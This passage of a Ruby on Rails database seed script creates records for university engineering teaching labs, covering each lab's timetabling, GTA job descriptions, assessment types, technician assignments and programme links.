programme_id: $prog_fy.id).first_or_create!\n\n\n a551 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode30\").first_or_create!(name: \"Photo Voltaic Cells\",\n name_abrv: \"PVCELLS\", archived: false, in_drive: false, user_id: 2)\n at551 = ActivityTimetable.where(activity_id: a551.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 7, max_week_num: 9, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a551.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a551.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students to measure the current and voltage produced by a photo-voltaic cell\n Troubleshoot students' circuit construction\n Remind students how to perform calculations of electrical power and how to determine the maximum power operating point of the cell\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a551.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a551.id).first_or_create!(cost_per_student: nil, equip_needed: \"PV cells, DVM, lamp, PSU\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a551.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a552 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode31\").first_or_create!(name: \"Matlab\",\n name_abrv: \"MATLAB\", archived: false, in_drive: false, user_id: 1)\n at552 = ActivityTimetable.where(activity_id: a552.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 11, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 100, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a552.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a552.id).first_or_create!(criteria: \"Experience of Matlab Programming\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a552.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a552.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a552.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a553 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode32\").first_or_create!(name: \"Galileo\",\n name_abrv: \"GALILEO\", archived: true, in_drive: false, user_id: 4)\n at553 = ActivityTimetable.where(activity_id: a553.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 6, max_week_num: 7, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at553.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a553.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a553.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a553.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a553.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a553.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a554 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode33\").first_or_create!(name: \"LED Lab (blue)\",\n name_abrv: \"BLUELED\", archived: false, in_drive: false, user_id: 1)\n at554 = ActivityTimetable.where(activity_id: a554.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a554.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a554.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a554.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a554.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a554.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a555 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"ELL.TEST\").first_or_create!(name: \"Torrell Test\",\n name_abrv: \"test\", archived: false, in_drive: false, user_id: 5)\n at555 = ActivityTimetable.where(activity_id: a555.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a555.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a555.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a555.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a555.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a556 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"ELL.TEST.\").first_or_create!(name: \"Torrell Test2\",\n name_abrv: \"FCE001\", archived: false, in_drive: false, user_id: 1)\n at556 = ActivityTimetable.where(activity_id: a556.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a556.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a556.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a556.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a556.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a557 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode34\").first_or_create!(name: \"Extracurricular Activity\",\n name_abrv: \"NTA\", archived: false, in_drive: false, user_id: 2)\n at557 = ActivityTimetable.where(activity_id: a557.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a557.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a557.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a557.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a557.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a558 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode35\").first_or_create!(name: \"Project Space Induction\",\n name_abrv: \"PSIDUCT\", archived: true, in_drive: false, user_id: 4)\n at558 = ActivityTimetable.where(activity_id: a558.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a558.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a558.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a558.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a558.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a559 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"unknowncode36\").first_or_create!(name: \"Engineering Applications\",\n name_abrv: \"EA SCREW\", archived: true, in_drive: false, user_id: 4)\n at559 = ActivityTimetable.where(activity_id: a559.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a559.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a559.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a559.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a559.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a559.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a560 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"unknowncode37\").first_or_create!(name: \"Engineering Applications\",\n name_abrv: \"EA STIRING\", archived: true, in_drive: false, user_id: 1)\n at560 = ActivityTimetable.where(activity_id: a560.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a560.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a560.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a560.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a560.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a560.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a561 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1730\").first.id, code: \"unknowncode38\").first_or_create!(name: \"Hole-in-plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: false, user_id: 1)\n at561 = ActivityTimetable.where(activity_id: a561.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a561.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a561.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a561.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a561.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a561.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a562 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC330\").first.id, code: \"unknowncode39\").first_or_create!(name: \"Diffusers\",\n name_abrv: \"DIFFUSERS\", archived: true, in_drive: false, user_id: 3)\n at562 = ActivityTimetable.where(activity_id: a562.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a562.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a562.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a562.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a562.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a562.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a563 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"unknowncode40\").first_or_create!(name: \"CFD Validation\",\n name_abrv: \"CFDVALID\", archived: true, in_drive: false, user_id: 4)\n at563 = ActivityTimetable.where(activity_id: a563.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a563.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a563.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a563.id).first_or_create!(assess_weight: nil, notes: \"NOT RUNNING\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a563.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a563.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a564 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"unknowncode41\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: true, in_drive: false, user_id: 4)\n at564 = ActivityTimetable.where(activity_id: a564.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a564.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a564.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a564.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a564.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a564.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a565 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS334\").first.id, code: \"unknowncode42\").first_or_create!(name: \"Modelling and Control of a Hot Air Process Control System\",\n name_abrv: \"CBE-HVAC\", archived: true, in_drive: false, user_id: 4)\n at565 = ActivityTimetable.where(activity_id: a565.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 40, takedown_time: 40, notes: \"\",\n capacity: 84, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a565.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a565.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a565.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a565.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a565.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a566 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS130\").first.id, code: \"unknowncode43\").first_or_create!(name: \"Design and Build Project\",\n name_abrv: \"ShaddowBots\", archived: true, in_drive: false, user_id: 4)\n at566 = ActivityTimetable.where(activity_id: a566.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a566.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a566.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a566.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a566.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a566.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a567 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"unknowncode44\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: true, in_drive: false, user_id: 1)\n at567 = ActivityTimetable.where(activity_id: a567.id).first_or_create!(duration: 180, kit_prep_time: 60, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a567.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a567.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a567.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a567.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a568 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"unknowncode45\").first_or_create!(name: \"Time and Frequency Domain Servo Analysis Laboratory\",\n name_abrv: \"Servo T+F\", archived: true, in_drive: false, user_id: 4)\n at568 = ActivityTimetable.where(activity_id: a568.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: nil, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a568.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a568.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a568.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a568.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n\n\n a569 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"unknowncode46\").first_or_create!(name: \"Time Domain Analysis of a Hot Air Process Control System\",\n name_abrv: \"HVAC 1\", archived: true, in_drive: false, user_id: 3)\n at569 = ActivityTimetable.where(activity_id: a569.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 40, takedown_time: 40, notes: \"\",\n capacity: 90, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a569.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a569.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a569.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a569.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a569.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a570 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"unknowncode47\").first_or_create!(name: \"Discrete Control Design\",\n name_abrv: \"Servo-D\", archived: true, in_drive: false, user_id: 5)\n at570 = ActivityTimetable.where(activity_id: a570.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a570.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a570.id).first_or_create!(criteria: \"Understanding of physical systems modelling, the analysis of 1st and 2nd order systems, and z-domain control design\",\n job_desc:\"This laboratory involves designing control system compensators in the z-domain, and implementing them on the hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a570.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a570.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a570.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a571 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode48\").first_or_create!(name: \"Introduction to Arduino – Simple Digital I/O\",\n name_abrv: \"Ard I/O\", archived: true, in_drive: false, user_id: 4)\n at571 = ActivityTimetable.where(activity_id: a571.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n 